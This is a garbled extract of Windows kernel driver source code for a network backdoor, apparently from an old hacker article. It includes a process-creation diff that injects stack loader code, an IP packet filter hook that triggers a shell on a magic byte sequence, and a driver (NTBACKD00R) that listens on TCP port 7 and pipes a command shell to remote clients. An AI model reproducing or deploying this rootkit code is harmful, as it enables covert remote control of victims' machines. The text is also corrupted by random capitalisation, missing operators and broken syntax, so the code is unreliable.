NT :: ZwallocatevirtualMemory (HProcess, & P, 0, & n,

MEM_COMMIT, PAGE_READWRITE

Zwwritevirtualmemory (hprocess, p, pp, pp-> size, 0);

Zwwritevirtualmemory (HProcess, Pchar (PEB) 0x10, & P, SizeOf P, 0);

RTLDESTROPROCESSPARETERS (PP);

}

Namespace NT {

Extern "C" {

DWORD WINAPI RTLCREATEACL (PACL ACL, DWORD SIZE, DWORD REV);

Bool WinAPI RTLADACCESSALLOWEDACE (PACL, DWORD, DWORD, PSID);

}

NTSTATUS Buildalowingsd (Psecurity_Descriptor * psecurityDescriptor)

{

// _ ASM INT 3;

SID SID SEWORLDSID = {SID_REVISION, 1, Security_WORLD_SID_AUTHORITY, Security_WORLD_RID};

Sid localsid = {sID_REVISION, 1, security_nt_authority, security_local_system_rid};

Char Daclbuf [Page_size];

NT :: PACL DACL = (NT :: PACL) & Daclbuf;

Char SDBUF [Page_size];

NT :: psecurity_descriptor sd = & sdbuf;

NTSTATUS Status = NT :: RTLCREATEACL (DACL, PAGE_SIZE, ACL_REVISION); if (! Nt_success (status)) Return Status;

Status = NT :: RTLADDACCESSALLOWEDACE (DACL, ACL_REVISION, FILE_ALL_ACCESS, & SEWORLDSID);

IF (! NT_Success (status)) Return Status;

RTLZEROMEMORY (SD, PAGE_SIZE);

Status = NT :: RTLCReateCurityDescriptor (sd, security_descriptor_revision);

IF (! NT_Success (status)) Return Status;

Status = RTLSETOWNERSECURITYDESCRIPTOR (SD, & localsid, false);

IF (! NT_Success (status)) Return Status;

Status = NT :: RTLSETDACLSECURITYDESCRIPTOR (SD, TRUE, DACL, FALSE);

IF (! NT_Success (status)) Return Status;

IF (! NT :: RTLVALIDSECURITYDESCRIPTOR (SD)) {

_asm Int 3;

}

// to Try!

Ulong buflen = Page_size * 2;

* psecurityDescriptor = NT :: EXALLOCATEPOOL (NT :: PagedPool, Bufflen);

IF (! * psecuritydescriptor) Return Status_insufficient_resources;

Return RTLabsolutetoselfRfrelativesd (SD, * PsecurityDescriptor, & buflen);

}

#DEFINE PIPE_NAME_MAX 40 * 2

Extern "C" ntstatus mycreatepipe1 (Phandle PHPIPE, NT :: PUNICODE_STRING PIPENAME, IN Access_Mask DesiredAccess, Psecurity_Descriptor SD, ULONG ShareAccess)

{

NT :: IO_STATUS_BLOCK IOSB;

NT :: Object_attributes attr = {SizeOf Attr, 0, PiPename, Obj_inherit, SD}

NT :: large_integer ntimeout;

Ntimeout.quadpart = (__INT64) -1E7;

Return ZwcreatenamedPipefile (PHPIPE, DESIREDACCESS | SYNCHRONIZE | File_Attribute_temporary, & attr, & iOSB, ShareAccess,

File_create, 0, false, false, false, 1, 0x1000, 0x1000, & ntimeout);

}

INT EXEC_PIPED (NT :: PUNICODE_STRING NAME, NT :: PUNICODE_STRING PIPENAME)

{

HTHREAD, HSECTION, HFILE

// _ ASM INT 3;

NT :: Object_attributes oa = {sizeof oa, 0, name, obj_case_insensitive};

NT :: IO_STATUS_BLOCK iOSB; NT :: Zwopenfile (& Hfile, File_execute | Synchronize, & Oa, & iOSB,

File_share_read, file_synchronous_io_nonalert);

Oa.Objectname = 0;

NT :: zwcreateesection (& Hsection, section_all_access, & oa, 0,

Page_execute, sec_image, hfile;

NT :: zwclose (hfile);

ZwcreateProcess (& HProcess, Process_All_access, & OA,

NtcurrentProcess (), true, hsection, 0, 0);

NT :: section_image_information sii;

NT :: ZwQuerysection (HSECTION, NT :: SectionImageInformation,

& SII, SIZEOF SII, 0);

NT :: Zwclose (HSECTION);

NT :: User_stack stack = {0};

Ulong n = Sii.stackReserve;

NT :: ZwallocateVirtualMemory (HProcess, & Stack.expandableStackBottom, 0, & n,

MEM_RESERVE, PAGE_READWRITE

Stack.expandableStackBase = pchar (stack.expandablestackbottom)

Sii.stackReserve;

Stack.expandableStackLimit = Pchar (stack.expandableStackBase)

- Sii.stackCommit;

/ * Page_Execute_readwrite is neededed; infitwrite will be executed on stack * /

n = Sii.stackCommit Page_size;

PVOID P = pchar (stack.expandablestackbase) - n;

NT :: ZwallocatevirtualMemory (HProcess, & P, 0, & n,

MEM_COMMIT, PAGE_EXECUTE_READWRITE

Ulong x; n = Page_Size;

ZWPROTECTVIRTUALMORY (HProcess, & P, & n,

Page_readwrite | page_guard, & x);

NT :: context context = {context_full};

CONTEXT.SEGGS = 0;

CONTEXT.SEGFS = 0x38;

CONTEXT.SEGES = 0x20;

CONTEXT.SEGDS = 0x20;

Context.Segss = 0x20;

CONTEXT.SEGCS = 0x18;

CONTEXT.EFLAGS = 0x3000;

Context.esp = ulong (stack.expandablestackbase) - 4;

Context.eip = ulong (sii.entrypoint);

NT :: Client_id CID;

ZWCREATTHREAD (& Hthread, Thread_all_access, & oa,

HProcess, & CID, & Context, & Stack, True; NT :: process_basic_information PBI;

NT :: ZwQueryInformationProcess (HProcess, NT :: ProcessBasicinformation,

& PBI, SIZEOF PBI, 0);

Handle HPIPE, HPIPE1;

Oa.objectname = pipename;

Oa.attributes = obj_inherit;

IF (NT :: ZWopenfile (& HPIPE1, Generic_Read | Generic_Write | Synchronize, & Oa, & IOSB, File_Share_read | file_share_write, file_synchronous_io_nonalert | file_non_directory_file)) Return 0;

NT :: ZwduplicateObject (ntcurrentProcess (), HPIPE1, HPROCESS, & HPIPE,

0, 0, duplicate_same_access | duplicate_close_source;

CreateProcessParameters (HProcess, Pbi.pebaseaddress, Name, HPIPE);

Informcsr (HProcess, Hthread,

Ulong (cid.uniqueprocess), ulong (cid.uniquetread);

ZWRESUMETHREAD (hthread, 0);

NT :: ZWClose (HProcess);

NT :: ZWClose (hthread);

Return Int (CID.UniqueProcess);

}

INT EXECUTE_PIPED (Void * ImageFileName, NT :: Punicode_String PiPENAME)

{

NT :: unicode_string imagefile;

NT :: RTLINITUNICODESTRING (& imagefile, (wchar_t *) ImageFileName);

Return EXEC_PIPED (& ImageFile, PiPENAME);

}

---- [8.5 - NebbetcreateProcess.diff

268A269, 384

> typedef

> WINBASEAPI

> Bool

> (WinApi)

> * f_setstdhandle)

> In dword nstdhandle,

> In Handle Hhandle

>);

> typedef

> WINBASEAPI

> Handle

> (WinApi)

> * f_createfilew)

> In lpcwstr lpfilename,

> In dword dwdesiredaccess,

> In dword dwsharemode,

> In lpsecurity_attributes LPSecurityAttributes,

> In dword dwcreationdisposition,

> In dword dwflagsandattributes,

> In Handle HTemplateFile

>);

> #ifdef _debug

> typedef

> WINBASEAPI

> DWORD

> (WinApi)

> * f_getlasterror)

> Void

>);

> #ENDIF

> typedef void (* f_entrypoint) (void);>

> struct s_data2embed

> {

> wchar_t pipename [PIPE_NAME_MAX];

> // wchar_t rpipename [PIPE_NAME_MAX], WPIPENAME [PIPE_NAME_MAX];

> f_setstdhandle psetstdhandle;

> f_createfilew pcreatefilew;

> F_ENTRYPOINT ENTRYPOINT;

> #ifdef _debug

> f_getlasterror pgetlasterror;

> #ENDIF

>};

>

> // void before_code2embed () {};

> void code2embed (s_data2embed * embedded_data)

> {

> Handle Hpipe;

>

> __ASM INT 3;

> hpipe = Embedded_data-> pcreatefilew (embedded_data-> pipename,

> Generic_read | generic_write | SYNCHRONIZE,

> 0 / * file_share_read | file_share_write * /,

> NULL,

> Open_EXISTING,

> 0 / * file_attribute_normal * /,

> NULL);

> embedded_data-> pgetlasterror ();

> / * // if (hrpipe == invalid_handle_value) goto last

> hwpipe = Embedded_data-> pcreatefilew (Embedded_Data-> WPIPIPENAME,

> Generic_write | Synchronize,

> File_share_read / * | file_share_write *,

> NULL,

> Open_EXISTING,

> 0,

> NULL);

> embedded_data-> pgetlasterror ();

> IF ((hrpipe! = invalid_handle_value) && (HWPIPE! = Invalid_Handle_Value)) * /

> IF (hpipe! = invalid_handle_value)

> {

> embedded_data-> psetstdhandle (std_input_handle, hpipe);

> Embedded_data-> psetstdhandle (std_output_handle, hpipe);

> embedded_data-> psetstdhandle (std_error_handle, hpipe);

>}

> embedded_data-> entrypoint ();

>}

> __DECLSPEC (NAKED) VOID AFTER_CODE2EMBED () {};

> #define sizeof_code2embed & after_code2embed- (ulong) & code2embed)

>

> Void Redir2pipe (Handle HProcess, Wchar_t * PiPename / *, Wchar_T * WPIPENAME * /, PVOID Entrypoint, Pvoid ​​Pstack, / * OUT Pulong PData, * / OUT Pulong Pcode, OUT PULONG PNEWSTACK> {

> s_data2embed data2embed;

> PVOID PKERNEL32;

> NT :: Unicode_String ModuleFileName;

>

> _ASM INT 3;

>

> * pcode = 0;

> * pnewstack = 0;

> NT :: RTLINITUNICODESTRING (& ModuleFileName, L "kernel32.dll");

> LDRGETDLLHANDLE (NULL, NULL, & MODULEFILENAME, & PKERNEL32);

> IF (! pkernel32) return;

> data2embed.psetstdhandle = (f_setstdhandle) FindFunc (pkernel32, "setstdhandle);

> data2embed.pcreatefilew = (f_createfilew) FindFunc (pkernel32, "createfilew);

> #ifdef _debug

> data2embed.pgetlasterror = (f_getlasterror) FindFunc (pkernel32, "getlasterror");

> #ENDIF

> IF ((! data2embed.psetstdhandle) || (! data2embed.pcreatefilew) Return;

> DATA2EMBED.ENTRYPOINT = (f_entrypoint) Entrypoint;

> wcscpy (data2embed.pipename, pipename);

> //wcscpy (Data2embed.wpipename, wpipeName);

> char * p = (char *) PStack - sizeof_code2embed;

> IF (Zwwritevirtualmemory (hprocess, p, & code2embed, sizeof_code2embed, 0)) Return;

> * pcode = (ulong) P;

>

> p - = sizeof s_data2embed;

> IF (Zwwritevirtualmemory (hprocess, p, & data2embed, sizeof s_data2embed, 0)) Return;

>

> PVOID PDATA = (pvoid) P;

> p - = sizeof pdata;

> IF (ZwwritevirtualMemory (HProcess, P, & PDATA, SIZEOF PDATA, 0)) RETURN;

>

> p - = 4;

> * pnewstack = (ulong) P;

>}

>

317a434, 437

> Ulong neweip, newstack;

> Redir2pipe (HProcess, PipeName-> Buffer, Sii.Entrypoint, Stack.expandableStackBase, & new, & newstack;> IF ((! newstack) | (!.com) Return 0;

>

326, 327c446, 449

---

> // Loader Code Is on The Stack

> context.esp = newstack;

> context.eip = new;

---- [8.6 - NTDLDYNAMICLOADER.CPP

#include

/ / # include "undockernel.h"

#include "dynlinefromntdll.h"

// Example A.2 from Nebbet's Book

// Search loaded module by name

PVOID FINDMODULE (Char * Module)

{

Ulong n;

// Request Necessary Size of Buffer

NT :: ZwQuerySystemInformation (NT :: SystemModuleInformation,

& n, 0, & n);

// Allocate Memory for n structures

Pulong Q = (Pulong) NT :: EXALLOCATEPOOL (NT :: NonPagedPool, N * Sizeof (* Q));

// Request Information About Modules

NT :: ZwQuerySystemInformation (NT :: SystemModuleInformation,

Q, N * SizeOf * q, 0);

// Module Counter Located At Address Q, Information Begins AT Q 1

NT :: psystem_module_information P

= NT :: psystem_module_information (q 1);

PVOID NTDLL = 0;

// Cycle for Each Module ...

For (ulong i = 0; i <* q; i )

{

//...compare it's name with looked for ...

IF (_stricmp (p [i] .imagename p [i] .ModulenameOffset,

Module) == 0)

{

//... And Stop if Module Found

NTDLL = P [I] .base;

Break;

}

}

// free memory

NT :: EXFREEPOOL (Q);

Return NTDLL;

}

Pvoid ​​FINDNT ()

{

Return FindModule ("NTDLL.DLL");

}

// Search Exported Function Named Name in Module, Loaded At AddrRess Base

Pvoid ​​FindFunc (PVOID BASE, PCSTR NAME)

{

// at addrress base there is dos exe header

PIMAGE_DOS_HEADER DOS = PIMAGE_DOS_HEADER (BASE); // Extract Offset of PE-HEADER from IT

PIMAGE_NT_HEADERS NT = PIMAGE_NT_HEADERS (PCHAR (BASE) DOS-> E_LFANEW);

// Evaluate Pointer to Section Table,

// According to Directory of Exported Functions

PIMAGE_DATA_DIRECTORY EXPDIR

= NT-> OPTIONALHEADER.DATADIRECTORY Image_DIRECTORY_ENTRY_EXPORT

// Extract address and size of what Table

Ulong size = expdir-> size;

Ulong addr = evdir-> virtualaddress;

// Evaluate Pointers:

// - to Directory of Exported Functions

PIMAGE_EXPORT_DIRECTORY EXPORTS

= PIMAGE_EXPORT_DIRECTORY (PCHAR (BASE) ADDR;

// - to Table of Addresses

Pulong functions = Pulong (Pchar (Base) Exports-> Addressoffunctions

// - to Table of Ordinals

Pshort Ordinals = Pshort (Pchar (Base) Exports-> AddressOfNameRDINALS;

// - to Table of Names

Pulong name = pulong (pchar (base) exports-> addressofnames;

// Cycle Through Table of Names ...

For (ulong i = 0; i numberofnames; i ) {

// Ordinal That Matches Name Is Index in The Table of Addresses

Ulong ORD = Ordinals [i];

// Test Is The Address Correct

IF (functions [ord] = addr size) {

// if function name matches looked for ...

IF (PSTR (PSTR (Pchar (Base) Names [I]), Name) == 0)

// Then Return It's Address

Return Pchar (Base) Functions [ORD];

}

}

// function not found

Return 0;

}

---- [8.7 - Filtering.cpp

Extern "C" {

#include

#include

#include

#include "filtering.h"

#include "sniffer.h"

NTSYSAPI

NTSTATUS

NTAPI

ZwloadDriver

In Punicode_String DriverServiceName);

}

Extern pf_forward_action packetfilter

In ipheader * packetheader,

In unsigned char * packet,

In unsigned int packetlength,

In unsigned int recvinterfaceIndex,

In unsigned int sendInterfaceIndex,

In ipaddr recvlinknexthop,

In ipaddr sendlinknexthop

);

NTSTATUS GLOBALRESULT;

PDEvice_Object PDeviceObject;

Pfile_Object PfileObject;

KEVENT EVENT;

Ntstatus SutdownFiltering ()

{

IF (PDeviceObject) && (pfileObject))

{

GlobalResult = setupfiltering (NULL);

ObdereferenceObject (PfileObject);

Return GlobalResult;

}

Else Return Status_suCcess;

}

NTSTATUS INITFILTERING ()

{

Unicode_String Filtdrvname;

UNICODE_STRING DSN = {0};

// _ ASM INT 3;

RTLinitunicodeString (& Filtdrvname, L "// device // ipfilterdriver");

PDeviceObject = NULL;

Retry:

IOGETDEVICEOBJECTPOINTER (& Filtdrvname, Synchronize | generic_read | generic_write, & pfileObject, & pdeviceObject);

IF ((! pdeviceObject) && (! dsn.length))

{

RTLINITUNICODESTRING (& DSN, L "// registry // machine // system // currentControlset // Services // ipfilterdriver");

ZwloadDriver (& DSN);

Goto Retry;

}

IF (PDeviceObject)

{

KeinitializeEvent (& Event, NOTIFICATIONEVENT, FALSE);

Return setupfiltering (& packetfilter);

} else return status_Object_name_not_found;

}

NTSTATUS setupfiltering (Void * packetfilterproc)

{

IO_STATUS_BLOCK IOSTB;

Large_integer timeout;

PIRP PIRP = NULL;

// _ ASM INT 3;

pirp = IoBuildDeviceIoControlRequest (IOCTL_PF_SET_EXTENSION_POINTER, pDeviceObject, (PPF_SET_EXTENSION_HOOK_INFO) & PacketFilterProc, sizeof (PF_SET_EXTENSION_HOOK_INFO), NULL, 0, FALSE, & Event, & iostb);

IF (! PIRP)

{

Return status_unsuccessful;

}

GlobalResult = IocallDriver (PDEviceObject, PIRP); if (GlobalResult == Status_pending)

{

Timeout.quadpart = 100000000;

IF (KewaitforsingleObject (& Event, Executive, KernelMode, False, & Timeout)! = status_success)

Return status_unsuccessful;

GlobalResult = PIRP-> iostatus.status;

}

Return GlobalResult;

}

---- [8.8 - MPFD_MAIN.CPP

Extern "C" {

#include

#include

#include

#include "sniffer.h"

#include "filtering.h"

}

Extern void shellstarter (void * startshellevent);

Handle hshellstartread = null;

Boolean Terminating = false;

KEVENT STARTSHELLEVENT;

Unsigned char * __cdecl memfind

Const unsigned char * STR1,

Unsigned int N1,

Const unsigned char * STR2,

Unsigned int N2

)

{

IF (N2> N1) Return NULL;

Unsigned char * cp = (unsigned char *) str1;

UNSIGNED CHAR * S1, * S2;

Unsigned int x;

For (unsigned int i = 0; i <= n1-n2; i )

{

S1 = CP;

S2 = (unsigned char *) STR2;

X = N2;

While (x &&! (* S1- * S2)))

S1 , S2 , X -;

IF (! x) Return (CP);

CP ;

}

Return (NULL);

}

Unsigned char keyword [] = "/ x92 / x98 / xc7 / x68 / x9f / x 200c / x38 / x5c / x8c / x31 / Xe1 / xd6"

Pf_forward_action packetfilter

In ipheader * packetheader,

In unsigned char * packet,

In unsigned int packetlength,

In unsigned int recvinterfaceIndex,

In unsigned int sendInterfaceIndex,

In ipaddr recvlinknexthop,

In ipaddr sendlinknexthop

)

{

IF (Memfind (Packet, PacketLength, Keyword, Sizeof (Keyword)))

{

Handle threadhandle;

KESEVENT (& Startshellevent, 0, False);

}

Return PF_PASS;

}

NTSTATUS

Onstubdispatch

In PDEvice_Object DeviceObject,

In PIRP IRP)

{

IRP-> iostatus.status = status_success;

IOCOMPLETEREQUEST (IRP,

IO_NO_INCREMENT

);

Return IRP-> iostatus.status;

}

Void Onunload (in PDRIVER_Object DriverObject)

{

#if (dBG)

DBGPRINT ("MPFD: Onunload Called / N");

#ENDIF

Pvoid ​​threadObj;

Sutdownfiltering ();

IF (HShellStartRead)

{

TERMINATING = True;

ObreferenceObjectbyHandle (HshellStartRead, Thread_all_access, null, kernelmode, & threadobj, null);

KESEVENT (& Startshellevent, 0, True);

KewaitForsingleObject (Threadobj, Executive, kernelmode, false, null);

}

}

#pragma code_seg ("init")

NTSTATUS DRIVERENTRY (PDRIVER_OBJECT DriverObject, Punicode_String RegistryPath)

{

NTSTATUS STATUS;

#if (dBG)

DBGPRINT ("MPFD: in DriveRETRY / N);

#ENDIF

Unreferenced_Parameter (RegistryPath);

For (int i = 0; i

{

DriverObject-> majorfunction [i] = onstubdispatch;

}

DriverObject-> driverunload = onunload;

STATUS = INITFILTERING ();

IF (status! = status_success) return status;

KeinitializeEvent (& StartShellevent, SynchronizationEvent, False);

Object_attributes attr = {sizeof (Object_attributes), 0, null, obj_case_insensitive};

Status = pscreatesystemthread (& HshellStartRead, thread_all_access, & attr, 0, null, shellstarter, & startshellevent);

Return status;

}

---- [8.9 - NTBACKD00R.CPP

// ntbackd00r.cpp

//

// generated by Driver :: Wizard Version 2.0

#define vdw_main

#include

#include

#include

#include "function.h"

#include "ntbackd00r.h"

#pragma HDRSTOP ("NtBackDMR.PCH")

#if (dBG)

#define dprintf dbgprint

#ELSE

#define dprintf

#ENDIF

Extern "C" {NTSYSAPI

NTSTATUS

NTAPI

ZWWAITFORMULTIPLEOBJECTS

In Ulong Handlecount,

In Phandle Handles,

In wait_type waittype,

In Boolean Alertable,

In Plarge_integer Timeout Optional

);

NTSYSAPI

NTSTATUS

NTAPI

ZWCREATEEVENT

Out phandle eventhandle,

IN Access_mask desidaccess,

In Pobject_Attributes Objectttributes,

In Event_Type EventType,

In Boolean InitialState

);

NTSYSAPI

NTSTATUS

NTAPI

Zwsetevent

In Handle EventHandle,

OUT Pulong PreviousState Optional

);

}

EXTERN "C" void loadingfuncs ();

Extern "C" Handle Startshell (Phandle PHPIPE);

Extern void shellstarter (void * startshellevent);

/

// begin init section

#pragma code_seg ("init")

Declare_driver_class (ntbackd00r, null)

/

// Driver Entry

//

NTSTATUS NTBACKD00R :: Driverentry (Punicode_String RegistryPath)

{

Unreferenced_Parameter (RegistryPath);

// Dynamic Import of Functions Exported from NTDLL.DLL

LoadFuncs ();

// Initialize the TdinticLient Framework First

IF (! ktdinterface :: initialize ())

{

// Something Wrong with TDI

Return status_not_found;

}

// Create TCP Server, Port 7

Ciptransport_address TCP_PORT (Ipport_echo);

m_plistener = new (nonpagedpool) kstreamserver (TCP_Port);

// if succeeded - enable network events

IF (m_plistener && m_plistener-> iscreated ()) {

m_plistener-> setEvents (true);

DPRINTF ("NTBACKD00RDEVICE: LISTENER STARTED / N");

}

Else {

DPRINTF ("NTBACKD00RDEVICE: FAILED TO START (PORT CONFLICT?) / N");

Return status_insuffect_resources;

}

// Create Dummy Device for IOQUEWORKITEM

M_pdummyDevice = new (nonpagedpool) DummyDevice (null, file_device_unknown, null);

IF (m_pdummydevice == null)

{

Return status_insufficient_resources;

Return status_success;

}

#pragma code_seg ()

#pragma Warning (Disable: 4706)

// this Message Will Be Sen to Client In Case of Failure When Starting Shell

Char errtxt_shell [] = "cant start shell";

//

// unload is responsible for release any System Objects That

// The Driver Has Allocated.

//

Void NtBackD00r :: Unload (void)

{

IF (M_PListener)

{

// disable network event notifications

m_plistener-> setEvents (false);

// Iterate Through The List of Active Sessions

// and forcefully disconnect All Active Sessions

Session * p;

TDI_STATUS STATUS;

While (p = m_ActivesessionList.removehead ())

{

// Thread Handle Must Be Extracted Before Dele P

Handle hworkerthread = p-> hdatapumpthread;

// by Default, this Method Will Perform AN

// Abortive Disconnect (RST)

STATUS = P-> disconnect ();

Assert (TDI_PENDING == Status || TDI_SUCCESS == STATUS);

Delete P;

// it's required to wait for termination of worker threads,

// or else Unloading Driver Will Cause Bsod

IF (hWorkerthread) ZWWAITFORSINGLEOBJECT (HWORKERTHREAD, FALSE, NULL);

}

// Wait for All Outstanding Requests to Complete

// by Issuing a Disconnect For All Sessions, Any

// Pending Requests Should Be Completed by The Transport

M_plistener-> Wait ();

// deStroy the socket

Delete M_Plistener;

m_plistener = NULL;

DPRINTF ("NTBACKD00RDEVICE: LISTENER STOPPED / N");

}

delete m_pdummydevice;

// Call Base Class Destructor to delete all devices.

KDriver :: unload ();

}

// Frees buffers, Given to Zwwritefile for asynchronous write

Void NTAPI APCCCALLBACKWRITECOMPLETE

In Pvoid ​​APCCONTEXT,

In Pio_Status_Block IostatusBlock,

IN Ulong Reserved

)

{

Unreferenced_parameter (iostatusblock); unreferenced_parameter (reserved);

//

Delete (uchar *) apccontext;

}

#define sends_queued_threshold 3

// Thread, That TransferS Data Between Named Pipe and Socket

Void DataPumpThread (in pvoid thiz1)

{

IO_STATUS_BLOCK SEND_IOSB, RCV_IOSB;

Uchar * send_buf, * rcv_buf;

Ulong rd;

Const buffsize = 0x1000;

NTSTATUS STATUS;

Large_integer resendinterval;

// LOACL COPY OF PIPES NEEDED for Correct Thread Termination

// after Deleting Session

s_pipes * pipe;

SESSION * THIZ = (session *) THIZ1;

Pipes = thiz-> m_pipe;

Resendinterval.quadpart = (__INT64) 1E6; //0.1c

// Create FIFO

// source of bsod at high Irql

Thiz-> PWBYTEPIPE = New (nonpagedpool) Klockablefifo (0x100000, nonpagedpool);

// Lock Socket To Avoid Sudden delection of it

THIZ-> LOCK ();

// send_buf alocated here, deleted in onsendcomplete

Send_buf = new (nonpagedpool) uchar [buffsize];

// Start Asynchronous Read READ

Status = zwreadfile (pipe-> hpipe, pipes-> hpipeevents [1], null, null, & send_iosb, send_buf, bufsize, null, null;

IF (status == status_success)

{

// send Read Data to Client

Status = thiz-> send (send_buf, send_iosb.information, send_buf);

IF (status! = status_pending) && (status! = status_success)))

DPRINTF ("Send Error% 08X / N");

// TO Avoid Recurring Send of Same Data

Send_iosb.status = -1;

}

While (1) Switch (ZWWAITFORMULTIPLEOBJECTS (2, & Pipes-> HPIPEEVENTS [0], WAITANY, TRUE, NULL))

{

// status_wait_1 - r Operation completed

Case status_wait_1:

//

IF (pipes-> terminating) goto fin;

IF (! pipes-> hpipe) Break;

Sending:

{

IF (! send_iosb.status)

{

Resend:

// send Read Data to Client

Status = thiz-> send (send_buf, send_iosb.information, send_buf); // if there must be put in then it tried to push too much data in solidket

IF ((status! = status_success) && (status! = status_pending))

{

// Wait for Free Space in Buffer ...

KeDelayExecutionthread (kernelmode, true, & resendinterval);

//...and Retry

Goto Resend;

}

}

// send_buf alocated here, deleted in onsendcomplete

Send_buf = new (nonpagedpool) uchar [buffsize];

// Start Asynchronous Read READ

Status = zwreadfile (pipe-> hpipe, pipes-> hpipeevents [1], null, null, & send_iosb, send_buf, bufsize, null, null;

// if there is a data in pipe buffer, IT read instantly.

IF (status == status_success)

// send it immediely

Goto sending;

Else {

IF (status! = status_pending)

{

Delete send_buf;

// status_pipe_listening - it's ok, process not connected to pipe yet

IF (status! = status_pipe_listening)

{

// Otherwise It Was An Error, Disconnect Client and Terminate Thread

IF (! pipes-> terminating) THIZ-> disconnect ();

Goto Fin;

}

}

}

}

Break;

// status_wait_0 - Write Operation Completed

Case status_wait_0:

IF (pipes-> terminating) goto fin;

IF (! pipes-> hpipe) Break;

// FIFO MUST BE LOCKED DURING All Operation with IT

// TO AVOID Conflicts

THIZ-> PWBYTEPIPE-> LOCK ();

// at First Look What Crowd Into FIFO, ...

Rd = thiz-> pwbytepipe-> numberofitemsavailableforread ();

IF (rd)

{

// ... the allocate appropriate Amount of Memory ...

RCV_BUF = New (nonpagedpool) uchar [rd];

// ... and read all at overce

Rd = thiz-> pwbytepipe-> read (rcv_buf, rd);

}

THIZ-> PWBYTEPIPE-> UNLOCK ();

IF (rd)

{

status = ZwWriteFile (Pipes-> hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, & rcv_iosb, rcv_buf, rd, NULL, NULL); if ((status = STATUS_SUCCESS) && (status = STATUS_PIPE_LISTENING) && (status = STATUS_PENDING)!!!)

{

// if there is an error, disconnect client and terminate thread

IF (! pipes-> terminating) THIZ-> disconnect ();

Goto Fin;

}

}

Break;

Case status_alerted:

Break;

DEFAULT: GOTO FIN;

}

FIN:

// if Termination Not Initiated from outside, unlock socket

IF (! pipes-> terminating) THIZ-> UNLOCK ();

// if Pipe exists, the all the rest exists -

// destroy it all

IF (Pipes-> HPIPE)

{

ZWClose (pipes-> hpipe);

For (int i = 0; i <= 1; i )

ZWClose (pipes-> hpipeevents [i]);

Client_id clid = {pipes-> childpid, 0};

Handle HPROCESS;

Object_attributes attr = {sizeof (Object_attributes), 0, NULL, 0};

#define process_terminate (0x0001)

Status = ZwopenProcess (& HProcess, Process_Terminate, & Attr, & Clid);

IF (! status)

{

ZwterminateProcess (hprocess, 0);

ZWClose (HProcess);

}

}

DELETE PIPES;

PSTERMINATESYSTEMTHREAD (0);

}

#define disable_ints __ASM Pushfd; CLI

#define restore_ints __ASM POPFD;

Void shellStarter (in pdevice_object deviceObject, in pvoid desc1)

{

Object_attributes attr;

Handle Loc_hpipe, LOC_HPIPEEVENTS [2], LOC_CHILDPID;

Unreferenced_Parameter (DeviceObject);

#define desc ((S_WorkItemDesc *) DESC1)

// by Course of Business Will Check Is There "Cancel" Command

IF (Desc-> WorkItemcanceled) goto ca Zancel2;

// Start Shell

LOC_CHILDPID = Startshell (& Loc_hpipe);

IF (LOC_CHILDPID)

{

InitializeObjectAttributes (& Attr, NULL, 0, NULL, NULL);

// Create 2 Events to Notify Thread About Data Receipt

// from socket or pipefor (int i = 0; i <= 1; i )

ZwcreateEvent (& LOC_HPIPEEVENTS [I], Event_All_Access, & Attr, SynchronizationEvent, False;

// Disable Interrupts and Write All Handles To Structure That Is Class Member

Disable_ints

IF (! desc-> workitemcanceled)

{

Desc-> thiz-> m_pipes-> hpipe = LOC_HPIPE;

Desc-> thiz-> m_pipes-> hpipeevents [0] = LOC_HPIPEEVENTS [0];

DESC-> thiz-> m_pipes-> hpipeevents [1] = LOC_HPIPEEVENTS [1];

DESC-> thiz-> m_pipes-> childpid = LOC_CHILDPID;

}

Restore_Ins

IF (Desc-> WorkItemcanceled) goto cancel;

// Create Thread, That Transfers Data Between named Pipe and Socket

PscreateSystemthread (& Desc-> thiz-> HDataPumpthread, Thread_all_access, null, 0, null, datapumpthread, desc-> thiz);

} else {

Cancel:

// In Case of Error or Cancel Close Pipe, Send Error Message To Client,

// and disconnect it

ZWClose (LOC_HPIPE);

Char * errmess = new (nonpagedpool) char [sizeof (errtxt_shell) -1];

RTLCopyMemory (errmess, errtxt_shell, sizeof (errtxt_shell) -1);

Desc-> thiz-> send (errmess, sizeof (errtxt_shell) -1);

DESC-> thiz-> disconnect ();

}

Cancel2:

// cleanup

IOFREEWORKITEM (DESC-> WorkItem);

Disable_ints

Desc-> WorkItem = NULL;

IF (! desc-> workitemcanceled) desc-> thiz-> m_workitemdesc = null;

Restore_Ins

EXFREEPOOL (DESC1);

#undef desc

}

/

// session - Event Handlers.

Boolean session :: onConnect (Uint AddressLength, PTransport_Address PTA,

Uint OptionsLength, Pvoid ​​Options)

{

// Connecting: Print The IP Address of The Requestor and Grant The Connection

#if (dBG)

Char szipaddr [20];

INET_NTOA (PTDI_Address_ip (PTA-> Address [0] .address) -> in_addr, szipaddr, sizeof (szipaddr));

DPRINTF ("NTBACKD00RDEVICE: Connecting Client, IP Addr =% s, session% 8x / n", szipaddr, this); # ENDIF

// Obtain a Pointer to the KDriver Derived Class

NTBACKD00R * P = Reinterpret_cast (kdriver :: driverinstance ());

ASSERT (P);

// Initialization of Miscellaneous Stuff

PWBYTEPIPE = NULL;

HDataPumpthread = NULL;

m_pipes = new (nonpagedpool) s_pipe;

RTLZEROMEMORY (M_PIPES, SIZEOF S_PIPES);

// Initialize and Start WorkItem

M_WorkItemDesc = ExallocatePool (NonpagedPool, SIZEOF S_WORKITEMDESC);

#define PWORKITEMDESC ((S_WorkItemDesc *) M_WorkItemDesc)

PWORKITEMDESC-> WorkItemcanceled = False;

PWORKITEMDESC-> THIZ = THIS;

PWORKITEMDESC-> WorkItem = IOALLOCATEWORKITEM (* P-> m_pdummyDevice);

IF (! PWORKITEMDESC-> WORKITEM) Return False;

// to make this work on nt4 replace oduve readyWorkItem with exqueueworkItem

IOQUEWORKITEM (PWORKITEMDESC-> WorkItem, & shellstarter, criticalworkqueue, pworkitemdesc);

#undef pworkitemdesc

// add this object to the session list maintained by the driver

P-> M_ActiveSessionList.Inserttail (this);

Unreferenced_Parameters4 (AddressLength, PTA, OptionsLength, Options)

Return True;

}

Void session :: OnDisconnect (Uint OptionsLength, Pvoid ​​Options, Boolean Babort)

{

DPRINTF ("NTBACKD00RDEVICE: DISCONNECTING Client, session% 8x / n", this)

Unreferenced_Parameters3 (optionslength, options, babort);

}

Session :: ~ session ()

{

// Obtain a Pointer to the KDriver Derived Class

NTBACKD00R * P = Reinterpret_cast (kdriver :: driverinstance ());

ASSERT (P);

// Remove this Object from the session list maintained by The Driver

P-> M_ActiveSessionList.Remove (this);

// set flas, That make thread to Terminate

